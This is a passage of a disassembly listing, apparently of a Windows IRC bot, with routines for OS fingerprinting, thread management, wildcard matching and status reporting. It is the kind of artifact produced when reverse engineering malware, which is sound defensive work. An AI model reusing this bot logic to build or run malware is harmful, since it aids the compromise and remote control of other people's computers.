		cmp	dword_425098, esi
		jle	short loc_409FE7


loc_409FC1:				; CODE XREF: nsp0:00409FE5j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCCC
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425098
		jl	short loc_409FC1


loc_409FE7:				; CODE XREF: nsp0:00409FBFj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43B9B8
		mov	dword ptr [ebp-94h], 94h
		call	dword_4230C8	; GetVersionExA
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40A071
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40A051
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40A041
		mov	esi, offset dword_4336F0


loc_40A041:				; CODE XREF: nsp0:0040A03Aj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40A0AD
		mov	esi, offset dword_4336EC
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A051:				; CODE XREF: nsp0:0040A031j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40A061
		mov	esi, offset dword_4336E8
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A061:				; CODE XREF: nsp0:0040A058j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40A0A8
		mov	esi, offset dword_4336E4
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A071:				; CODE XREF: nsp0:0040A028j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40A0A8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40A08A
		mov	esi, offset dword_4336E0
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A08A:				; CODE XREF: nsp0:0040A081j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40A09A
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A09A:				; CODE XREF: nsp0:0040A091j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4336DC
		jz	short loc_40A0AD


loc_40A0A8:				; CODE XREF: nsp0:0040A068j
					; nsp0:0040A078j
		mov	esi, offset dword_4336D8


loc_40A0AD:				; CODE XREF: nsp0:0040A048j
					; nsp0:0040A04Fj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4336D0
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425098, esi
		jle	short loc_40A0F1


loc_40A0CB:				; CODE XREF: nsp0:0040A0EFj
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCCC
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425098
		jl	short loc_40A0CB


loc_40A0F1:				; CODE XREF: nsp0:0040A0C9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A0F7	proc near		; CODE XREF: sub_40A19A+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4230A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40A146
		call	dword_4C9808	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4336FC
		jnz	short loc_40A12F
		mov	eax, offset byte_43B9B8


loc_40A12F:				; CODE XREF: sub_40A0F7+31j
		push	eax
		push	esi
		push	offset dword_4336F4
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_417E90
		add	esp, 14h
		jmp	short loc_40A166
; ---------------------------------------------------------------------------


loc_40A146:				; CODE XREF: sub_40A0F7+22j
		call	dword_4C9808	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4336FC
		jnz	short loc_40A15A
		mov	eax, offset byte_43B9B8


loc_40A15A:				; CODE XREF: sub_40A0F7+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_40A166:				; CODE XREF: sub_40A0F7+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4176F0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40A195
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		add	esp, 18h


loc_40A195:				; CODE XREF: sub_40A0F7+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40A0F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A19A	proc near		; CODE XREF: sub_4017E7+7Fp
					; sub_40194F+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42FA04


loc_40A1A6:				; CODE XREF: sub_40A19A+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40A1C1
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_418570
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A1CB
; ---------------------------------------------------------------------------


loc_40A1C1:				; CODE XREF: sub_40A19A+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40A1CB:				; CODE XREF: sub_40A19A+25j
		test	eax, eax
		jnz	short loc_40A1DD
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42FA7C
		jl	short loc_40A1A6
		jmp	short loc_40A1EB
; ---------------------------------------------------------------------------


loc_40A1DD:				; CODE XREF: sub_40A19A+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42FA08[eax*4]
		pop	ecx


loc_40A1EB:				; CODE XREF: sub_40A19A+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40A1FE
		push	[ebp+arg_0]
		call	sub_40A0F7
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A1FE:				; CODE XREF: sub_40A19A+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40A19A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A203	proc near		; CODE XREF: sub_401221+375p
					; sub_401221+3B1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43C540


loc_40A20B:				; CODE XREF: sub_40A203+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40A21F
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4C9540
		jl	short loc_40A20B
		jmp	short loc_40A26A
; ---------------------------------------------------------------------------


loc_40A21F:				; CODE XREF: sub_40A203+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43C540[esi]
		push	eax
		call	sub_417B00
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43C740[esi], eax
		and	dword_43C744[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43C748[esi], 0
		mov	dword_43C74C[esi], eax
		and	byte_43C758[esi], 0
		pop	esi


loc_40A26A:				; CODE XREF: sub_40A203+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40A203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A26E	proc near		; DATA XREF: sub_401AC7+24DEo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40A2C0
		push	[ebp+var_14]
		call	sub_40A51F
		add	esp, 14h
		push	0
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40A26E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2C0	proc near		; CODE XREF: sub_40A26E+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_4337FC
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43C540


loc_40A2EA:				; CODE XREF: sub_40A2C0+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40A32B
		cmp	[ebp+arg_C], 0
		jnz	short loc_40A2FE
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40A32B


loc_40A2FE:				; CODE XREF: sub_40A2C0+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 24h


loc_40A32B:				; CODE XREF: sub_40A2C0+2Dj
					; sub_40A2C0+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C9540
		jl	short loc_40A2EA
		pop	edi
		pop	esi
		leave
		retn
sub_40A2C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A33E	proc near		; CODE XREF: sub_401AC7+6DB0p
					; sub_40A3CC+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40A3C6
		cmp	esi, 400h
		jge	short loc_40A3C6
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43C754[esi]
		lea	edi, dword_43C754[esi]
		call	dword_4230AC	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40A376
		push	1
		pop	ebp


loc_40A376:				; CODE XREF: sub_40A33E+33j
		mov	[edi], ebx
		lea	edi, dword_43C748[esi]
		mov	dword_43C740[esi], ebx
		mov	dword_43C744[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40A397
		push	eax
		call	sub_416A27
		pop	ecx


loc_40A397:				; CODE XREF: sub_40A33E+50j
		mov	[edi], ebx
		lea	edi, dword_43C74C[esi]
		mov	byte ptr dword_43C540[esi], bl
		mov	byte_43C758[esi], bl
		push	dword ptr [edi]
		call	dword_4C9890	; closesocket
		lea	esi, dword_43C750[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40A3C6:				; CODE XREF: sub_40A33E+Dj
					; sub_40A33E+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A3CC	proc near		; CODE XREF: sub_40111D+18p
					; sub_401221:loc_4017D3p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43C540


loc_40A3D8:				; CODE XREF: sub_40A3CC+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40A3E9
		push	edi
		call	sub_40A33E
		test	eax, eax
		pop	ecx
		jz	short loc_40A3E9
		inc	ebx


loc_40A3E9:				; CODE XREF: sub_40A3CC+Fj
					; sub_40A3CC+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C9540
		jl	short loc_40A3D8
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40A3CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3FE	proc near		; CODE XREF: sub_401AC7+3B8Ep
					; sub_401AC7+3C63p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43C744


loc_40A412:				; CODE XREF: sub_40A3FE+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40A434
		test	edi, edi
		jle	short loc_40A426
		cmp	[esi], edi
		jz	short loc_40A426
		cmp	ebx, edi
		jnz	short loc_40A434


loc_40A426:				; CODE XREF: sub_40A3FE+1Ej
					; sub_40A3FE+22j
		push	ebx
		call	sub_40A33E
		test	eax, eax
		pop	ecx
		jz	short loc_40A434
		inc	[ebp+var_4]


loc_40A434:				; CODE XREF: sub_40A3FE+1Aj
					; sub_40A3FE+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4C9744
		jl	short loc_40A412
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A3FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A44B	proc near		; CODE XREF: sub_401221+409p
					; sub_401AC7+18A2p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43C740


loc_40A452:				; CODE XREF: sub_40A44B+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40A45B
		inc	eax


loc_40A45B:				; CODE XREF: sub_40A44B+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4C9740
		jl	short loc_40A452
		retn
sub_40A44B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A46A	proc near		; CODE XREF: sub_401AC7+1F83p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43C740


loc_40A474:				; CODE XREF: sub_40A46A+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40A48D
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4C9740
		jl	short loc_40A474
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A48D:				; CODE XREF: sub_40A46A+10j
		mov	eax, edx
		pop	esi
		retn
sub_40A46A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A491	proc near		; CODE XREF: sub_401AC7+D4Ap
					; sub_401AC7+F50p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40A4AA
		push	[ebp+arg_1C]
		call	sub_417C89
		pop	ecx


loc_40A4AA:				; CODE XREF: sub_40A491+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40A3FE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40A4D6
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	short loc_40A4F0
; ---------------------------------------------------------------------------


loc_40A4D6:				; CODE XREF: sub_40A491+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_40A4F0:				; CODE XREF: sub_40A491+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40A510
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_40A510:				; CODE XREF: sub_40A491+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		pop	ecx
		leave
		retn
sub_40A491	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A51F	proc near		; CODE XREF: sub_4017E7+159p
					; sub_40A26E+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43C754[eax], ecx
		mov	dword_43C740[eax], ecx
		mov	dword_43C744[eax], ecx
		mov	dword_43C748[eax], ecx
		mov	dword_43C74C[eax], ecx
		mov	dword_43C750[eax], ecx
		mov	byte ptr dword_43C540[eax], cl
		mov	byte_43C758[eax], cl
		retn
sub_40A51F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A55C	proc near		; CODE XREF: sub_401AC7+703Bp
					; sub_40A68A+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40A566:				; CODE XREF: sub_40A55C+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40A5C6
		cmp	eax, 1
		jnz	short loc_40A5C6
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40A5C6
		cmp	cl, 2Ah
		jz	short loc_40A5AD
		cmp	cl, 3Fh
		jz	short loc_40A590
		cmp	cl, 5Bh
		jz	short loc_40A595
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40A590:				; CODE XREF: sub_40A55C+26j
		inc	[ebp+arg_4]
		jmp	short loc_40A5C0
; ---------------------------------------------------------------------------


loc_40A595:				; CODE XREF: sub_40A55C+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40A5F2
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40A5C0
; ---------------------------------------------------------------------------


loc_40A5AD:				; CODE XREF: sub_40A55C+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40A68A
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40A5C0:				; CODE XREF: sub_40A55C+37j
					; sub_40A55C+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40A566
; ---------------------------------------------------------------------------


loc_40A5C6:				; CODE XREF: sub_40A55C+Ej
					; sub_40A55C+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40A5D6
		cmp	eax, 1
		jnz	short loc_40A5ED
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40A5C6
; ---------------------------------------------------------------------------


loc_40A5D6:				; CODE XREF: sub_40A55C+6Dj
		cmp	eax, 1
		jnz	short loc_40A5ED
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40A5ED
		cmp	byte ptr [esi],	0
		jnz	short loc_40A5ED
		push	1
		pop	eax
		jmp	short loc_40A5EF
; ---------------------------------------------------------------------------


loc_40A5ED:				; CODE XREF: sub_40A55C+72j
					; sub_40A55C+7Dj ...
		xor	eax, eax


loc_40A5EF:				; CODE XREF: sub_40A55C+8Fj
		pop	esi
		pop	ebp
		retn
sub_40A55C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5F2	proc near		; CODE XREF: sub_40A55C+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40A613
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40A613:				; CODE XREF: sub_40A5F2+19j
		push	ebx
		push	esi


loc_40A615:				; CODE XREF: sub_40A5F2+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40A623
		cmp	[ebp+var_4], eax
		jnz	short loc_40A66F


loc_40A623:				; CODE XREF: sub_40A5F2+2Aj
		test	edi, edi
		jnz	short loc_40A664
		cmp	bl, 2Dh
		jnz	short loc_40A658
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40A658
		cmp	al, 5Dh
		jz	short loc_40A658
		cmp	[ebp+var_4], edi
		jnz	short loc_40A658
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40A664
		cmp	bl, al
		jg	short loc_40A664
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40A664
; ---------------------------------------------------------------------------


loc_40A658:				; CODE XREF: sub_40A5F2+38j
					; sub_40A5F2+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40A664
		push	1
		pop	edi


loc_40A664:				; CODE XREF: sub_40A5F2+33j
					; sub_40A5F2+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40A615
; ---------------------------------------------------------------------------


loc_40A66F:				; CODE XREF: sub_40A5F2+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40A67C
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40A67C:				; CODE XREF: sub_40A5F2+82j
		cmp	edi, eax
		jnz	short loc_40A685
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40A685:				; CODE XREF: sub_40A5F2+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40A5F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A68A	proc near		; CODE XREF: sub_40A55C+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40A6A6:				; CODE XREF: sub_40A68A+3Aj
		cmp	[eax], bl
		jz	short loc_40A6C6
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40A6BB
		cmp	cl, 2Ah
		jnz	short loc_40A6C6
		cmp	cl, 3Fh
		jnz	short loc_40A6BE


loc_40A6BB:				; CODE XREF: sub_40A68A+25j
		inc	eax
		mov	[edi], eax


loc_40A6BE:				; CODE XREF: sub_40A68A+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40A6A6
; ---------------------------------------------------------------------------


loc_40A6C6:				; CODE XREF: sub_40A68A+1Ej
					; sub_40A68A+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40A6D1
		inc	dword ptr [esi]
		jmp	short loc_40A6C6
; ---------------------------------------------------------------------------


loc_40A6D1:				; CODE XREF: sub_40A68A+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40A6F2
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40A6E3
		xor	eax, eax
		jmp	short loc_40A752
; ---------------------------------------------------------------------------


loc_40A6E3:				; CODE XREF: sub_40A68A+53j
		cmp	cl, bl
		jnz	short loc_40A6F2
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40A6F2
		push	1
		pop	eax
		jmp	short loc_40A752
; ---------------------------------------------------------------------------


loc_40A6F2:				; CODE XREF: sub_40A68A+4Dj
					; sub_40A68A+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40A55C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A73C


loc_40A700:				; CODE XREF: sub_40A68A+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40A704:				; CODE XREF: sub_40A68A+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40A71C
		cmp	cl, 5Bh
		jz	short loc_40A71C
		cmp	dl, bl
		jz	short loc_40A71C
		inc	eax
		mov	[edi], eax
		jmp	short loc_40A704
; ---------------------------------------------------------------------------


loc_40A71C:				; CODE XREF: sub_40A68A+82j
					; sub_40A68A+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40A733
		push	eax
		push	dword ptr [esi]
		call	sub_40A55C
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A738
; ---------------------------------------------------------------------------


loc_40A733:				; CODE XREF: sub_40A68A+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40A738:				; CODE XREF: sub_40A68A+A7j
		cmp	eax, ebx
		jnz	short loc_40A700


loc_40A73C:				; CODE XREF: sub_40A68A+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40A74F
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40A74F
		mov	[ebp+var_4], 1


loc_40A74F:				; CODE XREF: sub_40A68A+B6j
					; sub_40A68A+BCj
		mov	eax, [ebp+var_4]


loc_40A752:				; CODE XREF: sub_40A68A+57j
					; sub_40A68A+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A68A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A757	proc near		; CODE XREF: sub_401AC7+2683p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_433C14
		push	eax
		xor	ebx, ebx
		call	sub_417D96
		cmp	dword_433878, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40A7C9
		push	esi
		mov	esi, offset dword_433880


loc_40A78A:				; CODE XREF: sub_40A757+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40A7BF
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_433C08
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4186E0
		add	esp, 1Ch


loc_40A7BF:				; CODE XREF: sub_40A757+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40A78A
		pop	esi


loc_40A7C9:				; CODE XREF: sub_40A757+2Bj
		push	dword_4C9544
		call	sub_417249
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4186E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40A757	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A825	proc near		; CODE XREF: sub_401AC7+266Dp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CC308
		mov	ecx, dword_4CC304
		push	esi
		push	dword_4C9544
		lea	esi, [ecx+eax]
		call	sub_417249
		push	eax
		push	esi
		push	dword_4CC308
		lea	eax, [ebp+var_200]
		push	dword_4CC304
		push	offset unk_433C34
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40A825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A890	proc near		; CODE XREF: sub_401AC7+2657p

var_200		= byte ptr -200h
